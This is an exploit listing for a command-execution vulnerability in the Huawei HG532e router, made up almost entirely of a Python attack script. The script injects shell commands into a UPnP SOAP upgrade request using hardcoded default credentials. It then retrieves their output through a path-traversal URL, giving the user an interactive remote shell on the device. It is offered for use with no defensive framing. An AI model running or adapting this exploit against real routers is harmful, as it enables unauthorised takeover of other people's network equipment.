Huawei router hg532e command execution Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-12-14 | Type : webapps | Platform : hardware

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[+] Code ...

#!/bin/python
'''
Author : Rebellion
Github : @rebe11ion
Twitter : @rebellion
'''

import urllib2,requests,os,sys
from requests.auth import HTTPDigestAuth
DEFAULT_HEADERS = {"User-Agent": "Mozilla", }
DEFAULT_TIMEOUT = 5
def fetch_url(url):
global DEFAULT_HEADERS, DEFAULT_TIMEOUT
request = urllib2.Request(url, headers=DEFAULT_HEADERS)
data = urllib2.urlopen(request, timeout=DEFAULT_TIMEOUT).read()
return data

def exploit(ip, path):
url = "http://%s:37215/icon/../../../%s" % (ip, path)
data = fetch_url(url)
return data

def main():
pwd = "/"
cmd_path = "/tmp/ccmd"
pwd_path = "/tmp/cpwd"
while True:
targetip = sys.argv[1]
cmd_ = raw_input("[{}]$ ".format(pwd))
cmd = "cd {} ; {} > {} ; pwd > {}".format(pwd,cmd_.split("|")[0],cmd_path,pwd_path)
rm = "<?xml version=\"1.0\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>"
url = "http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1"
requests.post(url, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
assert cmd_path.startswith("/"), "An absolute path is required"
data = exploit(targetip, cmd_path)
open(cmd_path,"wb").write(data)
if "cd" in cmd_:
pass
elif "clear" in cmd_:
os.system("clear")
elif "cat" in cmd_:
os.system(cmd_.replace(cmd_.split("cat")[1].split(" ")[1],cmd_path))
else:
if "|" in cmd_:
os.system("cat {} | {}".format(cmd_path,cmd_.split("|")[1]))
else:
os.system("cat {}".format(cmd_path))
pwd = exploit(targetip,pwd_path).strip("\n")

if __name__ == "__main__":
main()